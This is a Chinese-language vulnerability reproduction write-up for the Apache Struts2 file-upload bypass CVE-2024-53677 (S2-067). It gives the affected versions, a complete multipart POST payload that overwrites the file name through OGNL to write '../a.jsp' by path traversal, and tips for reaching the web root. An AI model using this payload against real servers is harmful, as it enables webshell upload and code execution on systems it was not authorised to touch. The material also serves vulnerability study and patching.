0x01. 漏洞原理

Apache Struts 中FileUploadInterceptor逻辑存在缺陷,由于上传参数绑定过程中存在OGNL解析,攻击者可利用OGNL表达式修改文件名实现参数绑定,控制文件上传参数导致路径遍历,从而上传恶意文件到服务器执行任意代码。

0x02. 影响范围

2.0.0 到 2.5.33 6.0.0 到 6.3.0.2

0x03. 漏洞复现

当服务存在此漏洞时且找到文件上传接口时还需要知道两个关键点才能进行利用:

  1. 需要知道文件上传的参数名称
  2. 需要知道程序内部定义的文件名的类属性名称

其中文件上传参数只要触发一次文件上传就可以知道,如下所示是一个正常的文件上传请求

image.png

另外【文件名的类属性名称】如下图代码所示,当一个文件上传时struts2会自动把文件名赋值给下面这个uploadsFileName

image.png

而这个漏洞就是利用OGNL表达式去实现参数覆盖,下面假设我们已经知道该文件名的类属性名称,我们可以构造如下Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /S267/upload.action HTTP/1.1
Host: 172.16.56.145:8086
Content-Length: 357
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary89BWhDinrfcnvNMm
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5
Cookie: JSESSIONID=097B1FAC3691E8DE577067B70A394B0A
Connection: close

------WebKitFormBoundary89BWhDinrfcnvNMm
Content-Disposition: form-data; name="Uploads"; filename="1.txt"
Content-Type: text/plain

<% out.print("Hello World"); %>
------WebKitFormBoundary89BWhDinrfcnvNMm
Content-Disposition: form-data; name="top.UploadsFileName";
Content-Type: text/plain

../a.jsp
------WebKitFormBoundary89BWhDinrfcnvNMm--

其中文件名称参数一定要首字母大写(这边是uploads故要写成Uploads),因为map结构是无序的,大写可以让其顺序往前靠,不然无法覆盖文件名。

反例如下图所示就小写文件名参数,导致还未解析出uploadsFileName就已经先解析了top.UploadsFileName

image.png

正常是文件名参数首字母大写,使其优先解析上传的文件属性,再解析top.UploadsFileName从而覆盖原本的uploadsFileName值,如下图所示

image.png

最终实现上传任意文件

image.png

image.png

(PS. 知道上传的路径最好,可以通过../调整上传路径,若不知道只能不停增加../到网站根目录即可)

具体分析可参考:Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)